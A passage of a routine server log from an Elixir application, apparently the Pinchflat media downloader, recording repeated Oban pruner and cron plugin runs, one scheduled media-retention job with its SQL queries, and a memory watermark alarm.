{"source":"oban","duration":2262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:00.845 [info] {"source":"oban","duration":946,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:03:10.735 [info] {"source":"oban","duration":2037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:40.739 [info] {"source":"oban","duration":3522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:00.846 [info] {"source":"oban","duration":620,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:04:10.743 [info] {"source":"oban","duration":2657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:40.746 [info] {"source":"oban","duration":2346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:00.849 [info] {"source":"oban","duration":1626,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:05:10.748 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:40.751 [info] {"source":"oban","duration":2158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:00.850 [info] {"source":"oban","duration":401,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:06:10.754 [info] {"source":"oban","duration":2585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:40.757 [info] {"source":"oban","duration":1597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:00.851 [info] {"source":"oban","duration":463,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:07:10.760 [info] {"source":"oban","duration":2351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:40.764 [info] {"source":"oban","duration":3327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:00.852 [info] {"source":"oban","duration":632,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:08:10.767 [info] {"source":"oban","duration":2450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:40.769 [info] {"source":"oban","duration":1091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:00.855 [info] {"source":"oban","duration":924,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:09:10.771 [info] {"source":"oban","duration":1808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:40.775 [info] {"source":"oban","duration":1973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:00.857 [info] {"source":"oban","duration":1314,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:10:10.779 [info] {"source":"oban","duration":2050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:40.781 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:00.858 [info] {"source":"oban","duration":559,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:11:10.783 [info] {"source":"oban","duration":1381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:40.785 [info] {"source":"oban","duration":1700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:00.859 [info] {"source":"oban","duration":532,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:12:10.788 [info] {"source":"oban","duration":1660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:40.790 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:00.860 [info] {"source":"oban","duration":406,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:13:10.793 [info] {"source":"oban","duration":1638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:40.795 [info] {"source":"oban","duration":1584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:00.863 [info] {"source":"oban","duration":1437,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:14:10.798 [info] {"source":"oban","duration":2322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:40.801 [info] {"source":"oban","duration":2104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:00.865 [info] {"source":"oban","duration":1067,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:15:10.805 [info] {"source":"oban","duration":2966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:40.809 [info] {"source":"oban","duration":3097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:00.866 [info] {"source":"oban","duration":662,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:16:10.815 [info] {"source":"oban","duration":5194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:40.818 [info] {"source":"oban","duration":2848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:00.869 [info] {"source":"oban","duration":972,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:17:10.822 [info] {"source":"oban","duration":2559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:40.826 [info] {"source":"oban","duration":2091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:00.871 [info] {"source":"oban","duration":1020,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:18:10.829 [info] {"source":"oban","duration":1978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:40.831 [info] {"source":"oban","duration":1621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:00.873 [info] {"source":"oban","duration":846,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:19:10.833 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:40.836 [info] {"source":"oban","duration":1878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:00.875 [info] {"source":"oban","duration":1209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:20:10.840 [info] {"source":"oban","duration":2927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:40.847 [info] {"source":"oban","duration":6381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:00.878 [info] {"source":"oban","duration":944,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:21:10.850 [info] {"source":"oban","duration":1685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:40.854 [info] {"source":"oban","duration":3009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:00.879 [info] {"source":"oban","duration":616,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:22:10.857 [info] {"source":"oban","duration":2529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:40.860 [info] {"source":"oban","duration":1743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:00.881 [info] {"source":"oban","duration":1144,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:23:10.865 [info] {"source":"oban","duration":3104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:40.867 [info] {"source":"oban","duration":1359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:00.882 [info] {"source":"oban","duration":714,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:24:10.870 [info] {"source":"oban","duration":1957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:40.872 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:00.885 [info] {"source":"oban","duration":1215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:25:10.875 [info] {"source":"oban","duration":2269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:40.878 [info] {"source":"oban","duration":2081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:00.886 [info] {"source":"oban","duration":560,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:26:10.881 [info] {"source":"oban","duration":2833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:40.885 [info] {"source":"oban","duration":1858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:00.888 [info] {"source":"oban","duration":782,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:27:10.889 [info] {"source":"oban","duration":3437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:40.893 [info] {"source":"oban","duration":2666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:00.891 [info] {"source":"oban","duration":872,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:28:10.897 [info] {"source":"oban","duration":3745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:40.902 [info] {"source":"oban","duration":3133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:00.892 [info] {"source":"oban","duration":379,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:29:10.906 [info] {"source":"oban","duration":2944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:40.910 [info] {"source":"oban","duration":2848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:00.893 [info] {"source":"oban","duration":391,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:30:10.923 [info] {"source":"oban","duration":10962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:40.927 [info] {"source":"oban","duration":3068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:00.895 [info] {"source":"oban","duration":378,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:31:10.929 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:40.932 [info] {"source":"oban","duration":1876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:00.896 [info] {"source":"oban","duration":476,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:32:10.936 [info] {"source":"oban","duration":3203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:40.938 [info] {"source":"oban","duration":967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:00.898 [info] {"source":"oban","duration":936,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:33:10.942 [info] {"source":"oban","duration":2868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:40.946 [info] {"source":"oban","duration":3249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:00.900 [info] {"source":"oban","duration":1102,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:34:10.955 [info] {"source":"oban","duration":8251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:40.958 [info] {"source":"oban","duration":2495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:00.901 [info] {"source":"oban","duration":414,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:35:10.961 [info] {"source":"oban","duration":2297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:40.963 [info] {"source":"oban","duration":1677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:00.902 [info] {"source":"oban","duration":348,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:36:10.965 [info] {"source":"oban","duration":1730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:40.968 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:00.922 [info] {"source":"oban","duration":1401,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:37:10.971 [info] {"source":"oban","duration":2228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:40.973 [info] {"source":"oban","duration":1709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:00.923 [info] {"source":"oban","duration":448,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:38:10.975 [info] {"source":"oban","duration":1366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:40.978 [info] {"source":"oban","duration":2722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:00.924 [info] {"source":"oban","duration":675,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:39:10.981 [info] {"source":"oban","duration":1903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:40.984 [info] {"source":"oban","duration":1703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:00.926 [info] {"source":"oban","duration":522,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:40:10.986 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:40.989 [info] {"source":"oban","duration":2031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:00.929 [info] {"source":"oban","duration":1180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:41:10.991 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:40.993 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:00.931 [info] {"source":"oban","duration":1351,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:42:10.996 [info] {"source":"oban","duration":1922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:19.298 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 02:42:41.001 [info] {"source":"oban","duration":4109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:00.932 [info] {"source":"oban","duration":413,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:43:11.003 [info] {"source":"oban","duration":1647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:41.007 [info] {"source":"oban","duration":1967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:00.934 [info] {"source":"oban","duration":950,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:44:11.010 [info] {"source":"oban","duration":2087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:41.012 [info] {"source":"oban","duration":1706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:00.935 [info] {"source":"oban","duration":432,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:45:11.015 [info] {"source":"oban","duration":1643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:41.018 [info] {"source":"oban","duration":2198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:00.936 [info] {"source":"oban","duration":500,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:46:11.021 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:41.023 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:00.937 [info] {"source":"oban","duration":501,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:47:11.026 [info] {"source":"oban","duration":2371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:41.028 [info] {"source":"oban","duration":1780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:00.939 [info] {"source":"oban","duration":1621,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:48:11.031 [info] {"source":"oban","duration":1830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:41.035 [info] {"source":"oban","duration":2668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:00.941 [info] {"source":"oban","duration":457,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:49:11.038 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:41.042 [info] {"source":"oban","duration":3331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:00.942 [info] {"source":"oban","duration":714,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:50:11.045 [info] {"source":"oban","duration":1750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:41.049 [info] {"source":"oban","duration":2070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:00.944 [info] {"source":"oban","duration":372,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:51:11.052 [info] {"source":"oban","duration":2231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:41.054 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:00.945 [info] {"source":"oban","duration":576,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:52:11.057 [info] {"source":"oban","duration":2449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:41.059 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:00.947 [info] {"source":"oban","duration":449,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:53:11.062 [info] {"source":"oban","duration":2755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:41.068 [info] {"source":"oban","duration":4984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:00.949 [info] {"source":"oban","duration":516,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:54:11.072 [info] {"source":"oban","duration":2982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:41.074 [info] {"source":"oban","duration":1580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:00.951 [info] {"source":"oban","duration":939,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:55:11.076 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:41.081 [info] {"source":"oban","duration":3836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:00.952 [info] {"source":"oban","duration":418,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:56:11.084 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:41.086 [info] {"source":"oban","duration":1746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:00.954 [info] {"source":"oban","duration":1411,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:57:11.089 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:41.091 [info] {"source":"oban","duration":1846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:00.956 [info] {"source":"oban","duration":809,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:58:11.094 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:41.098 [info] {"source":"oban","duration":3031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:00.958 [info] {"source":"oban","duration":415,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:59:11.101 [info] {"source":"oban","duration":2287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:41.104 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:01.230 [info] {"source":"oban","duration":271071,"event":"plugin:stop","jobs":[2361],"plugin":"Oban.Plugins.Cron"} 03:00:01.239 [info] {"args":{},"id":2361,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"system_time":1776646801239193481,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","local_data"]} 03:00:02.342 [debug] QUERY OK source="media_items" db=1102.0ms queue=0.1ms idle=636.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND IFNULL(retention_period_days, 0) > 0 AND DATETIME(media_downloaded_at, '+' || retention_period_days || ' day') < DATETIME('now') ) AND NOT (m0."prevent_culling" = 1)) [] 03:00:02.342 [info] Culling 0 media items past their retention date 03:00:02.356 [debug] QUERY OK source="media_items" db=12.1ms idle=1740.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND NOT ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND NOT (m0."prevent_culling" = 1)) [] 03:00:02.358 [info] Deleting 0 media items that are from before the source cutoff 03:00:02.360 [info] {"args":{},"id":2361,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","duration":1119021,"event":"job:stop","queue_time":168035,"attempt":1,"tags":["media_item","local_data"]} 03:00:11.106 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:29.549 [debug] Tzdata polling for update. 03:00:30.621 [debug] Tzdata polling shows the loaded tz database is up to date. 03:00:41.110 [info] {"source":"oban","duration":2957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:00.231 [info] {"source":"oban","duration":425,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:01:11.112 [info] {"source":"oban","duration":1757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:41.117 [info] {"source":"oban","duration":3144,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:00.233 [info] {"source":"oban","duration":1048,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:02:11.119 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:41.123 [info] {"source":"oban","duration":3199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:00.234 [info] {"source":"oban","duration":687,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:03:11.125 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:41.127 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:00.236 [info] {"source":"oban","duration":895,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:04:11.130 [info] {"source":"oban","duration":1986,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:41.132 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:00.237 [info] {"source":"oban","duration":522,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:05:11.135 [info] {"source":"oban","duration":2126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:41.138 [info] {"source":"oban","duration":2784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:00.238 [info] {"source":"oban","duration":400,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:06:11.141 [info] {"source":"oban","duration":1786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:41.144 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:00.240 [info] {"source":"oban","duration":704,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:07:11.148 [info] {"source":"oban","duration":2705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:41.152 [info] {"source":"oban","duration":1801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:00.243 [info] {"source":"oban","duration":902,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:08:11.155 [info] {"source":"oban","duration":2028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:41.157 [info] {"source":"oban","duration":1653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:00.244 [info] {"source":"oban","duration":587,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:09:11.161 [info] {"source":"oban","duration":1897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:41.164 [info] {"source":"oban","duration":2410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:00.245 [info] {"source":"oban","duration":396,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:10:11.167 [info] {"source":"oban","duration":2207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:41.169 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:00.249 [info] {"source":"oban","duration":2806,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:11:11.172 [info] {"source":"oban","duration":1911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:41.174 [info] {"source":"oban","duration":1728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:00.250 [info] {"source":"oban","duration":739,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:12:11.178 [info] {"source":"oban","duration":2147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:41.180 [info] {"source":"oban","duration":1663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:00.252 [info] {"source":"oban","duration":363,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:13:11.182 [info] {"source":"oban","duration":1746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:41.184 [info] {"source":"oban","duration":1753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:00.253 [info] 